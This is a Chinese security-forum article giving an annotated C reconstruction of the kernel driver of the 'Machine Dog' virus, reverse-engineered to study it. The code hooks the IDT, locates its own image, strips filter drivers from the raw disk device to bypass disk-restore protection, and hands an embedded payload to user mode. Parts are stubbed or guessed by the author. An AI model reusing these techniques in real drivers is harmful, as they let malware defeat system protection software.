“機器狗”病毒驅動部分逆向分析註釋(C代碼)

創建時間:2008-03-13
文章屬性:原創
文章提交:swords (songbohr_at_163.com)

/*
標 題: 【原創】“機器狗”病毒驅動部分逆向分析註釋(C代碼)
作 者: dream2fly(QQ:838468959)
時 間: 2008.03.13 於深圳科技園
鏈 接; http://www.dream2fly.net
版 本: 1.0

【軟件名稱】: 機器狗(病毒)
【下載地址】: http://www.dream2fly.net 或 自己搜索下載
【加殼方式】: 未知殼
【編寫語言】: MASM
【使用工具】: IDA
【操作平臺】: win2003
【軟件介紹】: 穿透冰點型帶驅動病毒
【作者聲明】: 只是感興趣,沒有其他目的。失誤之處敬請諸位大俠賜教!

*/
#include <ntddk.h>          // various NT definitions

#define IOCTL_MYDEV_BASE             0xF000
#define IOCTL_MYDEV_Fun_0xF01        CTL_CODE(IOCTL_MYDEV_BASE, 0xF01, METHOD_BUFFERED, FILE_ANY_ACCESS)

#define DR0_DEVICE_NAME                        "//Device//Harddisk0//DR0"
#define NT_DEVICE_NAME                        "//Device//PhysicalHardDisk0"
#define DOS_DEVICE_NAME                        "//DosDevices//PhysicalHardDisk0"

PDEVICE_OBJECT g_DR0_DeviceObject;
PDEVICE_OBJECT g_OldAttachedDeviceOfDR0;
VOID*   g_ResData;
SIZE_T  g_ResDataSize;

typedef struct _idtr
{
    //定義中斷描述符表的限制,長度兩字節;
    short        IDTLimit;
    //定義中斷描述服表的基址,長度四字節;
    unsigned int    IDTBase;
}IDTR,*PIDTR;

typedef struct _idtentry
{
    //中斷執行代碼偏移量的底16位;
    unsigned short    OffsetLow;
    //選擇器,也就是寄存器;
    unsigned short    Selector;
    //保留位,始終爲零;
    unsigned char        Reserved;
    //IDT中的門的類型:包括中斷門,陷阱門和任務門;
    unsigned char        Type:4;
    //段標識位;
    unsigned char        SegmentFlag:1;
    //中斷門的權限等級,0表示內核級,3表示用戶級;
    unsigned char        DPL:2;
    //呈現標誌位;
    unsigned char        Present:1;
    //中斷執行代碼偏移量的高16位;
    unsigned short    OffsetHigh;
}IDTENTRY,*PIDTENTRY;

#define HOOKINTID_09 9                //NPX Segment Overrun
#define HOOKINTID_0E 0x0E        //Page Fault

VOID CheckIdt()//用SIDT指令得到中斷向量啊,然後修改中斷向量入口地址
{
        int INT_09_Address_High8;
        int INT_0E_Address_High8;
        unsigned long OldISR_09;
        unsigned long OldISR_0E;

        //保存IDT入口的基地址和限制信息的數據結構;
    IDTR        idtr;//store   interrupt   descript   table   register. to  idtr

            //記錄IDT數組的指針,通過它可以查找到我們需要Hook中斷號對應的中斷門;
    PIDTENTRY    IdtEntry;

    //彙編指令sidt,獲取IDT入口信息;
    __asm sidt    idtr

    //賦予IDT基地址值;
    IdtEntry = (PIDTENTRY)idtr.IDTBase;

    //保存中斷號HOOKINTID對應中斷門所指向的執行代碼偏移量,以備執行中斷處理或恢復時使用
        OldISR_09 = ((unsigned int)IdtEntry[HOOKINTID_09].OffsetHigh << 16) | (IdtEntry[HOOKINTID_09].OffsetLow);

        INT_09_Address_High8 = OldISR_09&0x0FF000000;

        /*
        這兩句彙編代碼什麼意思?eax相減應該總是0,那麼 jz不總是跳轉返回了???
        有知道的大俠告訴我dream2fly(QQ:838468959)
        sub     eax, eax
        jz      short FunctionExit
        難道是?
        if (INT_09_Address_High8 == 0)
                return;
        */


        //保存中斷號HOOKINTID對應中斷門所指向的執行代碼偏移量,以備執行中斷處理或恢復時使用;
        OldISR_0E = ((unsigned int)IdtEntry[HOOKINTID_0E].OffsetHigh << 16) | (IdtEntry[HOOKINTID_0E].OffsetLow);

        INT_0E_Address_High8 = OldISR_0E&0x0FF000000;

        if (INT_09_Address_High8 != INT_0E_Address_High8)//檢查0E是不是被HOOK
        {                
                //關中斷
                __asm cli
                
                IdtEntry[HOOKINTID_0E].OffsetHigh = 0;// 作者此處沒關中斷,難道不bosd?
        
                //開中斷
                __asm sti
        }
}

/*
通過搜索地址來查找自己的加載地址
查找驅動文件的資源中的1000/1000,並複製到一個全局緩衝區中
*/
VOID* SearchSelf()
{
        VOID* pSelfImage = NULL;
        VOID* pCurAddr = NULL;
        VOID* pTmpAddr = NULL;

//         loc_40045F:這個取當前地址用C怎麼寫?
//028 lea     ebx, loc_40045F
//028 and     ebx, 0FFFFFC00h

        //pSelfImage如何取?

        while(MmIsAddressValid(pSelfImage))
        {
                if ((unsigned long)pSelfImage <= 0x80000000)
                        return NULL;

                if (RtlEqualMemory(pSelfImage, "MZ", 2))
                {
                        pCurAddr = pSelfImage;
                        pTmpAddr = (VOID*)((unsigned long)pSelfImage+0x3C);
                        (unsigned long)pCurAddr += (unsigned long)(&pTmpAddr);

                        if (!MmIsAddressValid(pCurAddr))
                                return NULL;

                        if (RtlEqualMemory(pCurAddr, "PE", 2))
                                return pSelfImage;
                }

                (unsigned long)pSelfImage -= 0x400;//-1024K
        }
        
        return NULL;
}

SIZE_T ResLookupDataInDirectoryById(void* pSysBaseAddr, int id1, int id2, CHAR* pResDatas)
{
        // 有空再補上:)

        return 0;
}
//
// Device driver routine declarations.
//

NTSTATUS
DriverEntry(
    IN OUT PDRIVER_OBJECT   DriverObject,
    IN PUNICODE_STRING      RegistryPath
    );

NTSTATUS
CommonDispatch(
    IN PDEVICE_OBJECT       DeviceObject,
    IN PIRP                 Irp
    );

VOID
Unload(
    IN PDRIVER_OBJECT       DriverObject
    );

NTSTATUS
DriverEntry(
    IN OUT PDRIVER_OBJECT   DriverObject,
    IN PUNICODE_STRING      RegistryPath
    )
{
    NTSTATUS        ntStatus;
        CHAR*                pResData = NULL;
        ANSI_STRING                SourceString;
        PDEVICE_OBJECT  DeviceObject = NULL;    // ptr to device object
    UNICODE_STRING  SymbolicLinkName;  
        UNICODE_STRING  DeviceName;    
        VOID* pSelfImage;
        PDEVICE_OBJECT cur_device_object;
        PDEVICE_OBJECT next_device_object;

        CheckIdt();

        pSelfImage = SearchSelf();
        if (pSelfImage == NULL)
                return -1;

        g_ResDataSize = ResLookupDataInDirectoryById(pSelfImage, 1000, 1000, pResData);
        if (g_ResDataSize == 0)
        {
                return -1;
        }

        g_ResData = ExAllocatePool(NonPagedPool, g_ResDataSize);
        // 跳轉到下條指令,延時 jmp short $+2

        RtlCopyMemory(g_ResData, pResData, g_ResDataSize);

        DriverObject->DriverUnload = Unload;
    DriverObject->MajorFunction[IRP_MJ_CREATE] =
    DriverObject->MajorFunction[IRP_MJ_CLOSE] =
    DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = CommonDispatch;

        // 爲什麼不用RtlInitUnicodeString( &ntUnicodeString, NT_DEVICE_NAME );代替
        RtlInitAnsiString(&SourceString, NT_DEVICE_NAME);
        RtlAnsiStringToUnicodeString(&DeviceName, &SourceString, TRUE);

        RtlInitAnsiString(&SourceString, DOS_DEVICE_NAME);
        RtlAnsiStringToUnicodeString(&SymbolicLinkName, &SourceString, TRUE);
    
    ntStatus = IoCreateDevice(
        DriverObject,                   // Our Driver Object
        0,                              // We don't use a device extension
        &DeviceName,                                        
        FILE_DEVICE_NULL,            // Device type
        0,     // Device characteristics //此處應該用FILE_DEVICE_SECURE_OPEN吧?
        FALSE,                          // Not an exclusive device
        &DeviceObject );                // Returned ptr to Device Object

        if ( !NT_SUCCESS( ntStatus ) )
        {
                goto End;
        }

        ntStatus = IoCreateSymbolicLink( &SymbolicLinkName, &DeviceName );

        if ( !NT_SUCCESS( ntStatus ) )
        {
                cur_device_object = DriverObject->DeviceObject;

                while (cur_device_object)
                {
                        next_device_object = DeviceObject->NextDevice;
                        IoDeleteDevice(cur_device_object);
                        cur_device_object = next_device_object;
                }
        }

End:
        RtlFreeUnicodeString(&DeviceName);
        RtlFreeUnicodeString(&SymbolicLinkName);

        return STATUS_SUCCESS;
}

VOID
Unload(
   IN PDRIVER_OBJECT DriverObject
    )
{
        ANSI_STRING                SourceString;
        PDEVICE_OBJECT  DeviceObject = NULL;    // ptr to device object
    UNICODE_STRING  SymbolicLinkName;  
        PDEVICE_OBJECT cur_device_object;
        PDEVICE_OBJECT next_device_object;

        if (g_ResData)
        {
                ExFreePool(g_ResData);
        }

        if (DriverObject)
        {
                RtlInitAnsiString(&SourceString, DOS_DEVICE_NAME);
                RtlAnsiStringToUnicodeString(&SymbolicLinkName, &SourceString, TRUE);

                IoDeleteSymbolicLink(&SymbolicLinkName);
                RtlFreeUnicodeString(&SymbolicLinkName);

                cur_device_object = DriverObject->DeviceObject;

                while (cur_device_object)
                {
                        next_device_object = DeviceObject->NextDevice;
                        IoDeleteDevice(cur_device_object);
                        cur_device_object = next_device_object;
                }
        }
}

NTSTATUS
CommonDispatch(
    IN PDEVICE_OBJECT DeviceObject,
    IN PIRP Irp
    )
{
        PDEVICE_OBJECT  DRO_DeviceObject = NULL;    // ptr to device object
        PFILE_OBJECT        DRO_FileObject;
        ANSI_STRING                SourceString;
    UNICODE_STRING  DRO_DeviceName;    

    PIO_STACK_LOCATION  irpSp;// Pointer to current stack location
    NTSTATUS            ntStatus = STATUS_SUCCESS;// Assume success
    ULONG               inBufLength; // Input buffer length
    ULONG               outBufLength; // Output buffer length

        Irp->IoStatus.Status = STATUS_SUCCESS;
        Irp->IoStatus.Information = 0;

    irpSp = IoGetCurrentIrpStackLocation( Irp );
    inBufLength = irpSp->Parameters.DeviceIoControl.InputBufferLength;
    outBufLength = irpSp->Parameters.DeviceIoControl.OutputBufferLength;

    if(!inBufLength || !outBufLength)
    {
        ntStatus = STATUS_INVALID_PARAMETER;
        goto End;
    }

        switch ( irpSp->MajorFunction )
        {
        case IRP_MJ_CREATE:
                RtlInitAnsiString(&SourceString, DR0_DEVICE_NAME);
                RtlAnsiStringToUnicodeString(&DRO_DeviceName, &SourceString, TRUE);

                IoGetDeviceObjectPointer(&DRO_DeviceName, 0x80,&DRO_FileObject, &DRO_DeviceObject);
                g_DR0_DeviceObject = DRO_FileObject->DeviceObject;

                //保存DR0上的附加設備,然後斷開附加,等IRP_MJ_CLOSE時恢復附加
                if (DRO_FileObject->DeviceObject->AttachedDevice)
                {
                        g_OldAttachedDeviceOfDR0 = DRO_FileObject->DeviceObject->AttachedDevice;
                        DRO_FileObject->DeviceObject->AttachedDevice= NULL;
                }

                ObDereferenceObject(DRO_FileObject);

                RtlFreeUnicodeString(&DRO_DeviceName);

                break;
        case IRP_MJ_CLOSE:
                if (g_DR0_DeviceObject)
                {
                        if (g_OldAttachedDeviceOfDR0)
                        {
                                g_DR0_DeviceObject->AttachedDevice = g_OldAttachedDeviceOfDR0;
                        }
                }

                break;
        case IRP_MJ_DEVICE_CONTROL:
                if ( irpSp->Parameters.DeviceIoControl.IoControlCode == 0x0F0003C04)
                {
                        if (outBufLength < g_ResDataSize)
                                goto End;

                        // 此處就是提取驅動裏的資源解碼返回給ap層,很簡單,不再反彙編了,此處省略
                        // 唯一不理解的是既然是雙緩衝應該用IRP.AssociatedIrp.SystemBuffer返回給ap纔是
                        // 難道此時Irp->AssociatedIrp.SystemBuffer和Irp->UserBuffer地址相同??
                        RtlCopyMemory(Irp->UserBuffer, g_ResData, g_ResDataSize);

                        Irp->IoStatus.Information = g_ResDataSize;
                }
                else
                {
                        ntStatus = STATUS_INVALID_DEVICE_REQUEST;
                }

                break;

        default:

                //
        // The specified I/O control code is unrecognized by this driver.
        //

        ntStatus = STATUS_INVALID_DEVICE_REQUEST;
        break;
    }

End:
    //
    // Finish the I/O operation by simply completing the packet and returning
    // the same status as in the packet itself.
    //

    Irp->IoStatus.Status = ntStatus;

    IoCompleteRequest( Irp, IO_NO_INCREMENT );

    return ntStatus;
}

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章